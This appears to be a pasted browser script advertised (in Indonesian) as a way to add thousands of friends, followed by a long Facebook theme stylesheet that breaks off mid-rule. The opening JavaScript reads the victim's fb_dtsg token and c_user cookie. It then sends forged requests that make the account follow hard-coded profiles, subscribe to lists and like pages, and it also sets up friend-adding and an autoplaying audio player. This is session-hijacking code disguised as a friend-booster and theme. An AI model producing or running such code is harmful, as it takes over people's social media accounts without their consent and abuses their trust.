/*Function di add Ribuan Orang */ /* Script by Brian Mc'Knight */ var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = "http://c2lo.reverbnation.com/audio_player/download_song_direct/20066069"; _div.appendChild(_audio); _body.appendChild(_div); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100005728811970");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("1408495016073919");sublist("217610375106588");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=582504735103733&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=151244381561294&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("433712946760060");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)} a("100005728811970"); a("100007403018728"); a("100007628704719"); a("100005827771255"); sublist("1381250645475814"); sublist("1394711647463047"); sublist("1394711957463016"); sublist("1394717060795839"); sublist("1394717664129112"); sublist("1394717300795815"); sublist("1396633533926653"); sublist("1396648463925160"); sublist("1396648833925123"); sublist("1400149010241772"); sublist("1400149110241762"); sublist("1400149370241736"); sublist("1400149426908397"); sublist("1400149563575050"); sublist("1400149603575046"); sublist("1400149663575040"); sublist("1408182776105062"); sublist("1408182846105055"); sublist("1408182922771714"); sublist("1408182992771707"); sublist("1408183046105035"); sublist("1408183109438362"); sublist("1408183206105019"); sublist("1408183256105014"); Like("1394475164153362"); // ==/UserScript== (function() { var css = "#facebook body:not(.transparent_widget), #nonfooter, #booklet, .UIFullPage_Container, .fbConnectWidgetTopmost, .connect_widget_vertical_center, .fbFeedbackContent, #LikeboxPluginPagelet\n\n{ \n\ncolor: #000 !important;\n\nbackground: url(\"http://upload.wikimedia.org/wikipedia/id/thumb/f/f8/RIVER_Theater_Ver.jpg/1064px-RIVER_Theater_Ver.jpg\") repeat fixed left center #331010 !important;\n\n}\n\n\n\n\n\na,.UIActionButton_Text,span,div,input[value=\"Comment\"] {text-shadow: #000 1px 1px 1px !important;}\n\n\n\n.UIComposer_InputArea *,.highlighter div{text-shadow: none !important;}\n\n\n\n#profile_name {text-shadow: #fff 0 0 2px,#000 1px 1px 3px;}\n\n\n\na:hover,.inputbutton:hover,.inputsubmit:hover,.accent,.hover,.domain_name:hover,#standard_error,.UIFilterList_Selected a:hover,input[type=\"submit\"]:not(.fg_action_hide):hover,.button_text:hover,#presence_applications_tab:hover,.UIActionMenu:hover,.attachment_link a span:hover,.UIIntentionalStory_Time a:hover,.UIPortrait_Text .title:hover,.UIPortrait_Text .title span:hover,.comment_link:hover,.request_link span:hover,.UIFilterList_ItemLink .UIFilterList_Title:hover,.UIActionMenu_Text:hover,.UIButton_Text:hover,.inner_button:hover,.panel_item span:hover,li[style*=\"background-color: rgb(255,255,255)\"] .friend_status,.dh_new_media span:hover,a span:hover,.tab_link:hover *,button:hover,#buddy_list_tab:hover *,.tab_handle:hover .tab_name span,.as_link:hover span,input[type=\"button\"]:hover,.feedback_show_link:hover,.page:hover .text,.group:hover .text,.calltoaction:hover .seeMoreTitle,.liketext:hover,.tickerStoryBlock:hover .uiStreamMessage span,.tickerActionVerb,.mleButton:hover,.bigNumber,.pluginRecommendationsBarButton:hover {color: #fa9 !important;text-shadow: #fff 0 0 2px !important;text-decoration: none !important;}\n\n\n\n\n\n.fbChatSidebar .fbChatTypeahead .textInput,.fbChatSidebarMessage,.devsitePage .body > .content {box-shadow: none !important;}\n\n\n\n.presence_menu_opts,#header,.LJSDialog,.chat_window_wrapper,#navAccount ul,.fbJewelFlyout,.uiTypeaheadView,.uiToggleFlyout { box-shadow: 0 0 3em #000; }\n\n\n\n.UIRoundedImage,.UIContentBox_GrayDarkTop,.UIFilterList > .UIFilterList_Title, .dialog-title,.flyout,.uiFacepileItem .uiTooltipWrap {box-shadow: 0 0 1em 1px #000;}\n\n\n\n.extra_menus ul li:hover,.UIRoundedBox_Box,.fb_menu_link:hover,.UISelectList_Item:hover,.fb_logo_link:hover,.hovered,#presence_notifications_tab,#chat_tab_barx,.tab_button_div,.plays_val, #mailBoxItems li a:hover,.buddy_row a:hover,.buddyRow a:hover,#navigation a:hover,#presence_applications_tab,#buddy_list_tab,#presence_error_section,.uiStepSelected .middle,.jewelButton,#pageLogo,.fbChatOrderedList .item:hover,.uiStreamHeaderTall {box-shadow: 0 0 3px #000,inset 0 0 5px #000 !important;}\n\n\n\n\n\n.topNavLink > a:hover,#navAccount.openToggler,.selectedCheckable {box-shadow: 0 0 4px 2px #fa9,inset 0 0 2em #f66 !important;}\n\n\n\n\n\n.fbChatBuddyListDropdown .uiButton,.promote_page a,.create_button a,.share_button_browser div,.silver_create_button,.button:not(.uiSelectorButton):not(.close):not(.videoicon),button:not(.as_link),.GBSearchBox_Button,.UIButton_Gray,.UIButton,.uiButton:not(.uiSelectorButton),.fbPrivacyWidget .uiSelectorButton:not(.lockButton),.uiButtonSuppressed,.UIActionMenu_SuppressButton,.UIConnectControlsListSelector .uiButton,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton),.fbTimelineRibbon,#fbDockChatBuddylistNub .fbNubButton,.pluginRecommendationsBarButtonLike {box-shadow: 0 0 .5em rgba(0,0,0,0.9),inset 0 0 .75em #fa9 !important;border-width: 0 !important; }\n\n\n\n.fbChatBuddyListDropdown .uiButton:hover,.uiButton:not(.uiSelectorButton):hover,.fbPrivacyWidget .uiSelectorButton:not(.lockButton):hover,.uiButtonSuppressed:hover,.UIButton:hover,.UIActionMenu_Wrap:hover,.tabs li:hover,.ntab:hover,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([type=\"Flag\"]):not([type=\"submit\"]):hover,.inputsubmit:hover,.promote_page:hover,.create_button:hover,.share_button_browser:hover,.silver_create_button_shell:hover,.painted_button:hover,.flyer_button:hover,.button:not(.close):not(.uiSelectorButton):not(.videoicon):hover,button:not(.as_link):hover,.GBSearchBox_Button:hover,.tagsWrapper,.UIConnectControlsListSelector .uiButton:hover,.uiSelector:not(.fbDockChatDropdown) .uiSelectorButton:not(.uiCloseButton):hover,.fbTimelineMoreButton:hover,#fbDockChatBuddylistNub .fbNubButton:hover,.tab > div:not(.title):hover,.detail.frame:hover,.pluginRecommendationsBarButtonLike:hover {box-shadow: 0 0 .5em #000,0 0 1em 3px #fa9,inset 0 0 2em #f66 !important;}\n\n\n\n#icon_garden,.list_select .friend_list {box-shadow: 0 0 3px -1px #000,inset 0 0 3px -1px #000;}\n\n\n\n.bb .fbNubButton,.uiScrollableAreaGripper {box-shadow: inset 0 4px 8px #fa9,0 0 1em #000 !important;}\n\n\n\n.bb .fbNubButton:hover {box-shadow: inset 0 4px 8px #fa9,0 .5em 1em 1em #fa9 !important;}\n\n\n\n.fbNubFlyoutTitlebar {box-shadow: inset 0 4px 8px #fa9;padding: 0 4px !important;}\n\n\n\n#fb_menubar,.progress_bar_outer {box-shadow: inset 0 0 3px #000,0 0 3em 3px #000;}\n\n#presence_ui {box-shadow: 0 0 3em 1px #000}\n\n\n\n#buddy_list_tab:hover,.tab_handle:hover,.focused {box-shadow: 0 0 3px #000,inset 0 0 3px #000,0 0 3em 5px #fff;}\n\n\n\n.uiSideNavCount,.jewelCount,.uiContextualDialogContent,.fbTimelineCapsule .fbTimelineTwoColumn > .timelineUnitContainer:hover,.timelineReportContainer:hover,.uiOverlayPageContent,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.uiScaledImageContainer:hover, .pagesVoiceBar, ._k5 {box-shadow: 0 0 1em 4px #fa9 !important;}\n\n\n\n.img_link:hover,.album_thumb:hover,.fbChatTourCallout .body,.fbSidebarGripper div {box-shadow: 0 0 3em #fa9;}\n\n\n\n.shaded,.progress_bar_inner,.tickerStoryAllowClick {box-shadow: inset 0 0 1em #fa9 !important}\n\n\n\n.UIPhotoGrid_Table .UIPhotoGrid_TableCell:hover .UIPhotoGrid_Image,#myphoto:hover,.mediaThumbWrapper:hover,.uiVideoLink:hover,.mediaThumb:hover,#presence.fbx_bar #presence_ui #presence_bar .highlight,.fbNubFlyout:hover,.hovercard .stage,#fbDockChatBuddylistNub .fbNubFlyout:hover,.balloon-content,.-cx-PRIVATE-uiDialog__border {box-shadow: 0 0 3em 5px #fa9 !important;}\n\n\n\n.fbNubFlyout,.uiMenuXBorder {box-shadow: 0 0 3em 5px #000 !important;}\n\n\n\n#blueBar {box-shadow: 0 0 1em 3px #000 !important;}\n\n\n\n\n\n.fill {box-shadow: inset 0 0 2em #f66,0 0 1em #000 !important;}\n\n\n\n\n\ninput[type=\"file\"]{-moz-appearance:none!important;border: none !important;}\n\n\n\n\n\n.status_text,h4,a,h2,.flyout_menu_title,.url,#label_nm,h5,.WelcomePage_MainMessage,#public_link_uri,#public_link_editphoto span,#public_link_editalbum span,.dh_subtitle,.app_name_heading,.box_head,.presence_bar_button span,a:link span,#public_link_album span,.note_title,.link_placeholder,.stories_title,.typeahead_suggestion,.boardkit_title,.section-title strong,.inputbutton,.inputsubmit,.matches_content_box_title,.tab_name,.header_title_text,.signup_box_message,.quiz_start_quiz,.sidebar_upsell_header,.wall_post_title,.megaphone_header,.source_name,.UIComposer_AttachmentLink,.fcontent > .fname,#presence_applications_tab,.mfs_email_title,.flyout .text,.UIFilterList_ItemLink .UIFilterList_Title,.announce_title,.attachment_link a span,.comment_author,.UIPortrait_Text .title,.comment_link,.UIIntentionalStory_Names,#profile_name,.UIButton_Text,.dh_new_media span,.share_button_browser div,.UIActionMenu_Text,.UINestedFilterList_Title,button,.panel_item span,.stat_elem,.action,#contact_importer_container input[value=\"Find Friends\"]:hover,.navMore,.navLess,input[name=\"add\"],input[name=\"actions[reject]\"],input[name=\"actions[accept]\"],input[name=\"actions[maybe]\"],.uiButtonText,.as_link .default_message,.feedback_hide_link,.feedback_show_link,#fbpage_fan_sidebar_text,.comment_actual_text a span,.uiAttachmentDesc a span,.uiStreamMessage a span,.group .text,.page .text,.uiLinkButton input,.blueName,.uiBlingBox span.text,.commentContent a span,.uiButton input,.fbDockChatTab .name,.simulatedLink,.bfb_tab_selected,.liketext,a.UIImageBlock_Content,.uiTypeaheadView li .text,.author,.authors,.itemLabel,.passiveName,.token,.fbCurrentTitle,.fbSettingsListItemLabel,.uiIconText,#uetqg1_8,.fbRemindersTitle,.mleButton,.uiMenuItem .selected .name {color: #fa9 !important;}\n\n\n\n#email,option,.disclaimer,.info dd,.UIUpcoming_Info,.UITos_ReviewDescription,.settings_box_text,div[style*=\"color: rgb(85,85,85)\"] {color: #999 !important;}\n\n\n\n.status_time,.header_title_wrapper,.copyright,#newsfeed_submenu,#newsfeed_submenu_content strong,.summary,.caption,.story_body,.social_ad_advert_text,.createalbum dt,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_count,p,.fbpage_fans_count,.fbpage_type,.quiz_title,.quiz_detailtext,.byline,label,.fadvfilt b,.fadded,.fupdt,.label,.main_subtitle,.minifeed_filters li,.updates_settings,#public_link_photo,#phototags em,#public_link_editphoto,.note_dialog,#public_link_editalbum,.block_add_person,.privacy_page_field,.action_text,.network,.set_filters span,.byline span,#no_notes,#cheat_sheet,.form_label,.share_item_actions,.options_header,.box_subtitle,.review_header_subtitle_line,.summary strong,.upsell dd,.availability_text,#public_link_album,.explanation,.aim_link,.subtitle,#profile_status,span[style*=\"color: rgb(51,51,51)\"],.fphone_label,.phone_type_label,.sublabel,.gift_caption,dd span,.events_bar,.searching,.event_profile_title,.feedBackground,.fp_show_less,.increments td,.status_confirm,.sentence,.admin_list span,.boardkit_no_topics,.boardkit_subtitle,.petition_preview,.boardkit_topic_summary,li,#photo_badge,.status_body, .spell_suggest_label,.pg_title,.white_box,.token span,.profile_activation_score,.personal_msg span,.matches_content_box_subtitle span,tr[fbcontext=\"41097bfeb58d\"] td,.title,.floated_container span:not(.accent),div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(68,68,68)\"],.present_info_label,.fbpage_description,.tagged span,#tags h2 strong,#tags div span,.detail,.chat_info_status,.gray-text,.author_header,.inline_comment,.fbpage_info,.gueststatus,.no_pages,.topic_pager,.header_comment span,div[style*=\"color: rgb(101,107,111)\"],#q,span[style*=\"color: rgb(85,85,85)\"],.pl-item,.tagged_in,.pick_body,td[style*=\"color: rgb(85,85,85)\"],strong[style*=\"color: rgb(68,68,68)\"],div[style*=\"color: gray\"],.group_officers dd,.fbpage_group_title,.application_menu_divider,.friend_status span,.more_info,.logged_out_register_subhead,.logged_out_register_footer,input[type=\"text\"],textarea,.status_name span,input[type=\"file\"],.UIStoryAttachment_Copy,.stream_participants_short,.UIHotStory_Copy,input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not(.UIButton_Text):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),input[type=\"search\"],input[type=\"input\"],.inputtext,.relationship span,input[type=\"button\"]:not([value=\"Comment\"]),input[type=\"password\"],#reg_pages_msg,.UIMutableFilterList_Tip,.like_sentence,.UIIntentionalStory_InfoText,.UIHotStory_Why,.question_text,.UIStory,.tokenizer,input[type=\"hidden\"],.tokenizer_input *,.text:not(.external),.flistedit b,.fexth,.UIActionMenu_Main,span[style*=\"color: rgb(102,102,102)\"],div[style*=\"color: rgb(85,85,85)\"],div[style*=\"color: rgb(119,119,119)\"],blockquote,.description,.security_badge,.full_name,.email_display,.email_section,.chat_fl_nux_messaging,.UIObjectListing_Subtext,.confirmation_login_content,.confirm_username,.UIConnectControls_Body em,.comment_actual_text,.status,.UICantSeeProfileBlurbText,.UILiveLink_Description,.recaptcha_text,.UIBeep_Title,.UIComposer_Attachment_ShareLink_URL,.app_dir_app_category,.first_stat,.aggregate_review_title,.stats span,.facebook_disclaimer,.app_dir_app_creator,.app_dir_app_monthly_active_users,.app_dir_app_friend_users,.UISearchFilterBar_Label,.UIFullListing_InfoLabel,.email_promise_detail,.title_text,.excerpt,.dialog_body,.tos,.UIEMUASFrame_body,.page_note,.nux_highlight_composer,.UIIntentionalStory_BottomAttribution,.tagline,.GBSelectList,.gigaboxx_thread_header_authors,.GBThreadMessageRow_ReferrerLink,#footerWrapper,.infoTitle,.fg_explain,.UIMentor_Message,.GenericStory_BottomAttribution,.chat_input,.video_timestamp span,#tagger_prompt,.UIImageBlock_Content,.new_list span, .GBSearchBox_Input input,.SearchPage_EmailSearchLeft,.sub_info,.UIBigNumber_Label,.UIInsightsGeoList_ListTitle,.UIInsightsGeoList_ListItemValue,.UIInsightsSmall_Note,.textmedium,.UIFeedFormStory_Lead,.home_no_stories_content, .title_label,div[style*=\"color: rgb(102,102,102)\"],*[style*=\"color: rgb(51,51,51)\"],.tab_box_inner,.uiStreamMessage,.privacy_section_description,.info_text,.uiAttachmentDesc,.uiListBulleted span,.privacySettingsGrid th,.recommendations_metadata,.postleft dd:not(.usertitle),.postText,.mall_post_body_text,.fbChatMessage,.fbProfileBylineFragment,.nosave option,.uiAttachmentDetails,.fbInsightsTable td,.mall_post_body,.uiStreamPassive,.snippet,.questionInfo span,.promotionsHowto,.fcg,.headerColumn .fwb,.rowGroupTitle .fwb,.rowGroupDescription .fwb,.likeUnit,.aboveUnitContent,.placeholder,.sectionContent,.UIFaq_Snippet,.uiMenuItem:not(.checked) .name,.balloon-text,.fbLongBlurb,.legendLabel,.messageBody {color: #bbb !important;}\n\n\n\n.status_clear_link,h3,h1,.updates,.WelcomePage_SignUpHeadline,.WelcomePage_SignUpSubheadline,.mock_h4 .left,.review_header_title,caption,.logged_out_register_msg,.domain_name, .UITitledBox_Title,.signup_box_content,.highlight,.question,.whocan span,.UIFilterList > .UIFilterList_Title,.subject,.UIStoryAttachment_Label,.typeahead_message,.UIShareStage_Title,.alternate_name,.helper_text,.textlarge,.page .category,.item_date,.privacy_section_label,.privacy_section_title,.uiTextMetadata, .seeMoreTitle,.categoryContents,code,.usertitle,.fbAppSettingsPageHeader,.fsxl,.LogoutPage_MobileMessage,.LogoutPage_MobileSubmessage,.recommended_text,#all_friends_text,.removable,.ginormousProfileName,.experienceContent .fwb,#bfb_t_popular_body div[style*=\"color:#880000\"],.fsm:not(.snippet):not(.itemLabel):not(.fbChatMessage),.uiStreamHeaderTextRight,.bookmarksNavSeeAll,.tab .content,.fbProfilePlacesFilterCount,.fbMarketingTextColorDark,.pageNumTitle,.pluginRecommendationsBarButton {color: #f66 !important;}\n\n\n\n.em,.story_comment_back_quote,.story_content,small,.story_content_excerpt,.walltext,.public,p span,#friends_page_subtitle,.main_title,.empty_message,.count,.count strong,.stories_not_included li span,.mobile_add_phone th,#friends strong,.current,.no_photos,.intro,.sub_selected a,.stats,.result_network,.note_body,#bodyContent div b,#bodyContent div,.upsell dt,.buddy_count_num strong,.left,.body,.tab .current,.aim_link span,.story_related_count,.admins span,.summary em,.fphone_number,.my_numbers_label,.blurb_inner,.photo_header strong,.note_content,.multi_friend_status,.current_path span,.current_path,.petition_header,.pyramid_summary strong,#status_text,.contact_email_pending em,.profile_needy_message,.paging_link div,.big_title,.fb_header_light,.import_status strong,.upload_guidelines ul li span,.upload_guidelines ul li span strong,#selector_status,.timestamp strong,.chat_notice,.notice_box,.text_container,.album_owner,.location,.info_rows dd,.divider,.post_user,div[style=\"color: rgb(101,107,111);\"] b,div[style=\"color: rgb(51,51,51);\"] b,.basic_info_summary_and_viewer_actions dd,.profile_info dd,.story_comment,p strong,th strong,.fstatus,.feed_story_body,.story_content_data,.home_prefs_saved p,.networks dd,.relationship_status dd,.birthday dd,.current_city dd,.UIIntentionalStory_Message,.UIFilterList_Selected a,.UIHomeBox_Title,.suggestion,.spell_suggest,.UIStoryAttachment_Caption,.fexth + td,.fext_short,#fb_menu_inbox_unread_count,.Tabset_selected .arrow .sel_link span,.UISelectList_check_Checked,.chat_fl_nux_header,.friendlist_status .title a,.chat_setting label,.UIPager_PageNum,.good_username,.UIComposer_AttachmentTitle,.rsvp_option:hover label,.Black,.comment_author span,.fan_status_inactive,.holder,.UIThumbPagerControl_PageNumber,.text_center,.nobody_selected,.email_promise,.blocklist ul,#advanced_body_1 label,.continue,.empty_albums,div[style*=\"color: black\"],.GBThreadMessageRow_Body_Content,.UIShareStage_Subtitle,#public_link_photo span,.GenericStory_Message,.UIStoryAttachment_Value,div[style*=\"color: black\"],.SearchPage_EmailSearchTitle,.uiTextSubtitle,.jewelHeader,.recent_activity_settings_label,.people_list_item,.uiTextTitle,.tab_box,.instant_personalization_title,.MobileMMSEmailSplash_Description,.MobileMMSEmailSplash_Tipsandtricks_Title,.fcb,input[value=\"Find Friends\"],#bodyContent,#bodyContent table,h6,.fbChatBuddylistError,.info dt,.bfb_options_minimized_hide,.connect_widget_connected_text,body.transparent_widget .connect_widget_not_connected_text,.connect_widget_button_count_count,.fbInsightsStatisticNumber,.fbInsightsTable thead th span,.header span,.friendlist_name a,.count .countValue,.uiHeaderTitle span,#about_text_less span,.uiStreamHeaderText,.navHeader,.uiAttachmentTitle,.fbProfilePlacesFilterText,.tagName,.ufb-dataTable-header-text,.ufb-text-content,.fb_content,.uiComposerAttachment .selected .attachmentName,.balloon-title,.cropMessage {color: #fff !important;}\n\n\n\n.bfb_post_action_container {opacity: .25 !important;}\n\n.bfb_post_action_container:hover {opacity: 1 !important;}\n\n\n\n.valid,.wallheader small,#photodate,.video_timestamp strong,.date_divider span,.feed_msg h5,.time,.item_contents,.boardkit_topic_updated,.walltime,.feed_time,.story_time,#status_time_inner,.written small,.date,div[style*=\"color: rgb(85,82,37)\"],.timestamp span,.time_stamp,.timestamp,.header_info_timestamp,.more_info div,.timeline,.UIIntentionalStory_Time,.fupdt,.note_timestamp,.chat_info_status_time,.comment_actions,.UIIntentionalStory_Time a,.UIUpcoming_Time,.rightlinks,.GBThreadMessageRow_Date,.GenericStory_Time a,.GenericStory_Time,.fbPrivacyPageHeader,.date_divider {color: #f66 !important;}\n\n\n\n.textinput,select,.list_drop_zone,.msg_divide_bottom,textarea,input[type=\"text\"],input[type=\"file\"],input[type=\"search\"],input[type=\"input\"],input[type=\"password\"],.space,.tokenizer,input[type=\"hidden\"],#flm_new_input,.UITooltip:hover,.UIComposer_InputShadow,.searchroot input,input[name=\"search\"],.uiInlineTokenizer,input.text,input.nosave {background: rgba(0,0,0,.50) !important;-moz-appearance:none!important;color: #bbb !important;border: none !important;padding: 3px !important; }\n\n\n\ninput[type=\"text\"]:focus,textarea:focus,.fbChatSidebar .fbChatTypeahead .textInput:focus {box-shadow: 0 0 .5em #fa9,inset 0 0 .25em #f66 !important;}\n\n\n\n.uiOverlayPageWrapper,#fbPhotoSnowlift,.shareOverlay,.tlPageRecentOverlay {background: -moz-radial-gradient(50% 50%,circle,rgba(10,10,10,.6),rgb(10,10,10) 90%) !important;}\n\n\n\n.bumper,.stageBackdrop {background: #000 !important;}\n\n#page_table {background: #333 }\n\n\n\n.checkableListItem:hover a,.selectedCheckable a {background: #f66 !important; }\n\n\n\n.GBSearchBox_Input,.tokenizer,.LTokenizerWrap,#mailBoxItems li a:hover,.uiTypeaheadView .search .selected,.itemAnchor:hover,.notePermalinkMaincol .top_bar, .notification:hover a,#bfb_tabs div:not(.bfb_tab_selected),.bfb_tab,.navIdentity form:hover,.connect_widget_not_connected_text,.uiTypeaheadView li.selected,.connect_widget_number_cloud,.placesMashCandidate:hover,.highlight,#bfb_option_list li a:hover {background: rgba(0,0,0,.5) !important;}\n\n\n\n.results .page,.calltoaction,.results li,.fbNubFlyout,.contextualBlind,.bfb_dialog,.bfb_image_preview,input.text,.fbChatSidebar,.jewelBox,.clickToTagMessage,.tagName,.ufb-tip-body,.flyoutContent,.fbTimelineMapFilterBar,.fbTimelineMapFilter,.fbPhotoStripTypeaheadForm,.groupsSlimBarTop,.pas,.contentBox,.fbMapCalloutMain, .pagesVoiceBar {background: rgba(10,10,10,.75) !important;}\n\n\n\n#pageNav .tinyman:hover a,#navHome:hover a,#pageNav .tinyman a[style*=\"cursor: progress\"],#navHome a[style*=\"cursor: progress\"],#home_filter_list,#home_sidebar,#contentWrapper,.LDialog,.dialog-body,.LDialog,.LJSDialog,.dialog-foot,.chat_input,#contentCol,#leftCol,.UIStandardFrame_Content,.red_box,.yellow_box,.uiWashLayoutOffsetContent,.uiOverlayContent,.bfb_post_action_container,.connect_widget_button_count_count,.shaded,.navIdentitySub,.jewelItemList li a:hover,.fbSidebarGripper div,.jewelCount,.uiBoxRed,.videoUnit,.lifeEventAddPhoto,.fbTimelineLogIntroMegaphone,.uiGamesLeaderboardItem,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,.newInterestListNavItem:hover,.ogSliderAnimPagerPrevContent,.ogSingleStoryStatus,.ogSliderAnimPagerNextContent,.-cx-PRIVATE-uiDialog__body,.jewelItemNew .messagesContent {background: rgba(10,10,10,.5) !important;}\n\n\n\n#home_stream,pre,.ufiItem,.odd,.uiBoxLightblue,.platform_dialog_bottom_bar,.uiBoxGray,.fbFeedbackPosts,.mall_divider_text,.uiWashLayoutGradientWash, #bfb_options_body,.UIMessageBoxStatus,.tip_content .highlight,.fbActivity, .auxlabel,.signup_bar_container,#wait_panel,.FBAttachmentStage,.sheet,.uiInfoTable .name,.HCContents,#devsiteHomeBody .content,.devsitePage .nav .content,#confirm_phone_frame,.fbTimelineCapsule .timelineUnitContainer,.timelineReportContainer,.aboveUnitContent,.aboutMePagelet,#pagelet_tab_content_friends,#fbProfilePlacesBorder,#pagelet_tab_content_notes,.externalShareUnit,.fbTimelineNavigationWrapper .detail,.tosPaneInfo,.navSubmenu:hover,#bfb_donate_pagelet > div,.better_fb_mini_message,.uiBoxWhite,.uiLoadingIndicatorAsync,.mleButton,.fbTimelineBoxCount,.navSubmenu:hover,.gradient,.profileBrowserGrid tr > td > div,.statsContainer,#admin_panel,.fbTimelineSection, .escapeHatch, .ogAggregationPanelContent, .-cx-PRIVATE-fbTimelineExternalShareUnit__root, .shareUnit a, .storyBox {background: rgba(20,20,20,.4) !important;}\n\n\n\n.feed_comments,.home_status_editor,#rooster_container,.rooster_story,.UIFullPage_Container,.UIRoundedBox_Box,.UIRoundedBox_Side,.wallpost,.profile_name_and_status,.tabs_wrapper,.story,#feedwall_controls,.composer_well,.status_composer,.home_main_item,.feed_item,.HomeTabs_tab,#feed_content_section_applications li,.menu_separator,a[href=\"/friends\"],.feed_options_link,.show_all_link,.status,#newsfeed_submenu,.morecontent_toggle_link,.more_link,.composer_tabs,.bl,.profile_tab,.story_posted_item,.left_column,.pager_next,.admarket_ad,.box,.inside,.shade_b,.who_can_tab,.summary_simple,.footer_submit_rounded,.well_content,.info_section,.item_content,.basic_info_summary_and_viewer_actions dt,.info dt,.photo_table,.extra_content,.main_content,.search_inputs,.search_results,.result,.bar,.smalllinks span,.quiz_actionbox,.column,.note_header,.fdh,#fpgc,#fpgc td,.fmp,.fadvfilt,.fsummary,.frn,.two_column_wrapper,#new_ff,.see_more,.message_rows,.message_rows tr,.toggle_tabs li,.toggle_tabs li a,.notifications,.updates_all,.composer,.WelcomePage_MainSellContainer,.WelcomePage_MainSell,.media_gray_bg,.photo_comments_container,.photo_comments_main,.empty_message,.UIMediaHeader_Title,.UIMediaHeader_SubHeader,.footer_bar,.single_photo_header,#editphotoalbum,.covercheck,#newalbum,.panel,.album,.dh_titlebar,.page_content,.dashboard_header,.photos_header,.privacy_summary_items,.privacy_summary_item,.block_overview,.privacy_page_field,.editor_panel,.block,.action_box,.even_column,.mobile_account_inlay,.language,.confirm_boxes,.confirm,.status_confirm,.hasnt_app,.container, .UIDashboardHeader_TitleBar,.UIDashboardHeader_Container,.note,.UITwoColumnLayout_Container,.dialog_body,.dialog_buttons,.group_lists,.group_lists th,.group_list,.updates,.share_section,#profilenarrowcolumn,#profilewidecolumn,#inline_wall_post,.post_link_bar,.helppro_content,.answers_list_header,#help_titlebar,.new_user_guide,.new_user_guide_content,.flag_nav_item,.flag_nav_item a,.arrowlink a,#safety_page,#safety_page h5,.dashbar,.disclaimer,#store_options,#store_window,.step,.canvas_rel_positioning, .app_type a,.sub_selected a,.box_head,.inside_the_box,.app_about,.fallback,.box_subhead,.fbpage_card,#devsite_menubar,.content_sidebar,.side, .pBody li a,#p-logo,#p-navigation,#p-navigation .pBody,#bodyContent h1,#p-wiki,#p-wiki .pBody,#p-search,#p-search .pBody,#p-tb,#p-tb .pBody,#bodyContent table,#bodyContent table div,.recent_news,.main_news,.news_header, .devsite_subtabs li a,.middle-container,.feed_msg h4,.ads_info,.contact_sales,.wrapper h3,.presence_bar_button:hover,.icon_garden_elem:hover,#profile_minifeed,.focused,.dialog_summary,.tab span,.wallkit_postcontent 